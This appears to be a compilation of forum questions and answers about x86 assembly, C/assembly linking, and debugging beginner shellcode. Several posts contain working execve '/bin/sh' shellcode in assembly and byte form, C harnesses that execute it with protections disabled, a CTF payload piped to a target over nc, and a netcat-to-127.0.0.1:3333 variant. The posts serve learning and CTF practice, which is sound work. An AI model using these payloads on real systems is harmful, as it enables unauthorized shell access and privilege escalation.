I created an assembly program to execute a shell:
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
and since I am working on a 64bit machine, I compiled and linked the program using
nasm -f elf shellcode.asm
ld -m elf_i386 shellcode.o -o shellcode
and produced the shellcode using objdump. The compiled and linked program works absolutely fine. The problem however, is that the shellcode doesn't work in this C program:
// shellcode.c
#include <stdio.h>
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main()
{
fprintf(stdout ,"Length: %d\n", strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
I know the shellcode written in the above shellcode array may be wrong, but that's not the case. Even with the right shellcode, the problem persists. Is it a matter of conflict because the architecture? I don't however think so because the program as compiled for 32bit machines and successfully linked, and I know that 64bit machines are backward compatible with 32bit machines. I have tried compiling the C program using the -fno-stack-protector -z execstack parameter and disabling ASLR but nothing happened.
Related
I have written a minimal function to test whether I can call/link C and x86_64 assembly code.
Here is my main.c
#include <stdio.h>
extern int test(int);
int main(int argc, char* argv[])
{
int a = 10;
int b = test(a);
printf("b=%d\n", b);
return 0;
}
Here is my test.asm
section .text
global test
test:
mov ebx,2
add eax,ebx
ret
I built an executable using this script
#!/usr/bin/env bash
nasm -f elf64 test.asm -o test.o
gcc -c main.c -o main.o
gcc main.o test.o -o a.out
I wrote test.asm without having any real clue what I was doing. I then went away and did some reading, and now I don't understand how my code appears to be working, as I have convinced myself that it shouldn't be.
Here's a list of reasons why I think this shouldn't work:
I don't save or restore the base pointer (setup the stack frame). I actually don't understand why this is needed, but every example I have looked at does this.
The calling convention for the gcc compiler on Linux systems should be to pass arguments via the stack. Here I assume the arguments are passed using eax and ebx. I don't think that is right.
ret probably expects to pick up a return address from somewhere. I am fairly sure I haven't supplied this.
There may even be other reasons which I don't know about.
Is it a complete fluke that what I have written produces the correct output?
I am completely new to this. While I have heard of some x86 concepts in passing this is the first time I have actually attempted to write some. Got to start somewhere?
Edit: For future reference here is a corrected code
test:
; save old base pointer
push rbp ; sub rsp, 8; mov [rsp] rbp
mov rbp, rsp ; mov rbp, rsp ;; rbp = rsp
; initializes new stack frame
add rdi, 2 ; add 2 to the first argument passed to this function
mov rax, rdi ; return value passed via rax
; did not allocate any local variables, nothing to add to
; stack pointer
; the stack pointer is unchanged
pop rbp ; restore old base pointer
ret ; pop the return address off the stack and jump
; call and ret modify or save the rip instruction pointer
I don't save or restore the base pointer (setup the stack frame). I actually don't understand why this is needed, but every example I have looked at does this.
That's not needed. Try compiling some C code with -O3 and you'll see it doesn't happen then.
The calling convention for the gcc compiler on Linux systems should be to pass arguments via the stack. Here I assume the arguments are passed using eax and ebx. I don't think that is right.
That part is only working because of a fluke. The assembly happens to put 10 in eax too the way you compiled, but there's no guarantee this will always happen. Again, compile with -O3 and it won't anymore.
ret probably expects to pick up a return address from somewhere. I am fairly sure I haven't supplied this.
This part is fine. The return address gets supplied by the caller. It'll always be at the top of the stack when your function gets entered.
There may even be other reasons which I don't know about.
Yes, there's one more: ebx is call-saved but you're clobbering it. If the calling function (or anything above it in the stack) used it, then this would break it.
Is it a complete fluke that what I have written produces the correct output?
Yes, because of the second and fourth points above.
For reference, here's a comparison of the assembly that gcc produces from your C code at the -O0 (the default optimization level) and -O3: https://godbolt.org/z/7P13fbb1a
I am a Shellcode beginner and I started some CTFs.
But I am stuck at the most basic exercise.
Let's say I have a program. This program gives me the pointer address of execve : 0x8048450
Let's say there is a char array "\bin\sh" of which I also have the address : 0x80486a5
The vulnerable code is :
char input[4096];
read(0, input, 4096);
((func)&input)();
The problem is that I do not have many information on the architecture targeted because I have no binary but I think it is 32-bit.
Here is my code :
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov eax, 0x80486a5
push eax
call 0x8048450
Then I run :
nasm -f elf -o shellcode.o shellcode.asm
and
ld -o shellcode shellcode.o -m elf_i386
Which gives
\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00
I execute
python -c "print('\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00')" | nc target port
but nothing.
Do I have to put a NOP sled to fulfill the byte array ?
Thank you for reading me !
How to specify Win32 as output when invoking GCC using MinGW on Windows.
Below I've posted my source code. My objective is to interface assembly with C code and produce an executable.
I start assembling the add.asm to Win32 using the following NASM command:
nasm -f win32 add.asm
Then it should be possible to invoke GCC using both C and object files?
gcc -o add add.obj call_asm.c
However, this results in an a linkage error:
C:\Users\nze\AppData\Local\Temp\cckUvRyC.o:call_asm.c:(.text+0x1e): undefined reference to `add'
collect2.exe: error: ld returned 1 exit status
If I instead compile to ELF using
nasm -f elf add.asm
the command (this time using the ELF file add.o)
gcc -o add add.o call_asm.c
works perfectly.
How can I tell GCC that my object files are in Win32 format, so that it should compile call_asm.c to Win32 before linking? (I guess this is the core of the problem, please comment whether I'm correct).
call_add.c:
#include <stdio.h>
extern int add(int a, int b);
int main()
{
printf("%d", add(7, 6));
}
add.asm:
BITS 32
global _add
_add:
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov ebx, [ebp+12]
add eax, ebx
mov esp, ebp
pop ebp
ret
The problem isn't what you assume it is. GCC is generating "win32" format (more commonly know as PECOFF) object files. The problem is that your assembly code doesn't define a section, and this results in NASM not defining the symbol _add in the generated object file.
If you add a SECTION directive your code links and runs without error:
BITS 32
SECTION .text
global _add
_add:
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov ebx, [ebp+12]
add eax, ebx
mov esp, ebp
pop ebp
ret
Telling NASM to generate and ELF object file changes its behaviour, for whatever reason, and causes it to define the _add symbol in the ELF object file.
Just add this before the label:
.globl _add
To get that symbol to export in a .DLL you should add this at the end of the file:
.section .drectve
.ascii " -export:\"add\""
Note that the leading underscore is left out.
I am trying to learn about assembly and shellcode. I am having a problem that has been driving me nuts for days. I have written some assembly to make a system call to execve. The assembled file works, but when I convert it to shellcode and try to run it from a C program, I get a segmentation fault. I have tried all sorts of variations, but nothing works. Currently, the nasm code is as follows:
global _start
section .data
cmd: db '/bin/netcat', 0
argv0: db 'netcat', 0
argv1: db '127.0.0.1', 0
argv2: db '3333', 0
argv: dd argv0, argv1, argv2, 0
section .text
_start:
mov ebx, cmd ; filename parameter
mov ecx, argv ; argv parameter
xor edx, edx ; envp parameter
mov al, 11 ; execve system call number. Moving to al rather than eax to prevent null bytes in shellcode.
int 0x80
; exit
xor ebx, ebx ; status code 0
mov al, 1 ; sys_exit
int 0x80
I assembled this with the following command:
nasm -f elf32 test.asm -o test.o && ld -m elf_i386 test.o -o test
Running test works fine. I obtained the shellcode from test using the command from this page and of course, replacing ./PROGRAM with ./test.
Finally, I have the following C code:
unsigned char[] = "\xbb\x98\x90\x04\x08\xb9\xba\x90\x04\x08\x31\xd2\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80";
main()
{
int (*ret)() = (int(*)())code;
ret();
}
Compiled with:
gcc -g -m32 -fno-stack-protector -z execstack testshellcode.c -o testshellcode
Running testshellcode results in a Segmentation fault. I have tried various things like making code a const, compiling with different flags, and about 1,000 variations of the nasm code. I have successfully run other shellcode that calls execve, but argv was simple in those cases.
Using gdb, I can see it crashes when ret() is called. Looking at the registers after the segmentation fault:
eax 0xffffffda -38
ecx 0x80490ba 134516922
edx 0x0 0
ebx 0x0 0
esp 0xbffff14c 0xbffff14c
ebp 0xbffff178 0xbffff178
eip 0x804a03a 0x804a03a <code+22>
eflags 0x10246 [ PF ZF IF RF ]
Any help would be highly appreciated.
Aright I wrote an ASM file that spawns a shell.
However, the .text section becomes "READONLY", so I'm keeping everything in the .data section. When I compile it with NASM and ld, it works perfectly. Then, when I use the shellcode and run it in a C program, I seg fault.
ASM:
SECTION .data
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 70d
int 80h
jmp jump
rev:
pop ebx
xor eax, eax
mov BYTE [ebx+7], al
mov DWORD [ebx+8], ebx
mov DWORD [ebx+12], eax
mov al, 11d
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 80h
jump:
call rev
shell: db "/bin/sh011112222"
When I compile it with:
nasm -f elf32 -o temporary_file.o
ld -s -m elf_i386 -o shell temporary_file.o
Everything works perfectly. I can ./shell and a shell spawns. However, when i use:
objdump -D shell (objdump -d shell doesn't show the .data section)
And change that into \x?? format, I cannot exectute the shell.
Shellcode:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x30\x31\x31\x31\x31\x32\x32\x32\x32
And in the C file:
#include <stdio.h>
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";
int main(){
printf("[~] Shellcode length (bytes): %d\n", strlen(shellcode));
((void(*)(void))shellcode)();
return 0;
}
Seg fault.
Here is the first few lines of the strace output of the NASM compiled file:
[root#Arch tut]# strace ./exec
execve("./exec", ["./exec"], [/* 25 vars */]) = 0
[ Process PID=30445 runs in 32 bit mode. ]
setreuid(0, 0) = 0
execve("/bin/sh", ["/bin/sh"], [/* 3 vars */]) = 0
[ Process PID=30445 runs in 64 bit mode. ]
Now, here is the strace output of the C compiled file with the shellcode:
[root#Arch tut]# strace ./shell
execve("./shell", ["./shell"], [/* 25 vars */]) = 0
brk(0) = 0x238b000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
In your c program, replace:
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";
with
unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31...";
Otherwise gcc will put it in a readonly section (compile with -S to produce asm and take a look at the section)
Furthermore, you might need to compile it with -fno-stack-protector -z execstack to avoid stack protection.
It is not possible to do something like this.
The first problem: If you compile the C program as 64 bit program you cannot mix it with 32 bit code. I assume you did that.
And the second one: Even if you compile the C program as 32 bit program (you'll have to install the 32 bit shared libraries so you can run it) you cannot run the program. This is because the memory management of Linux will prohibit execution of code in a data section by setting the NX bit of the MMU.
This means: Trying to execute code in a string (as you do) will cause a segmentation fault!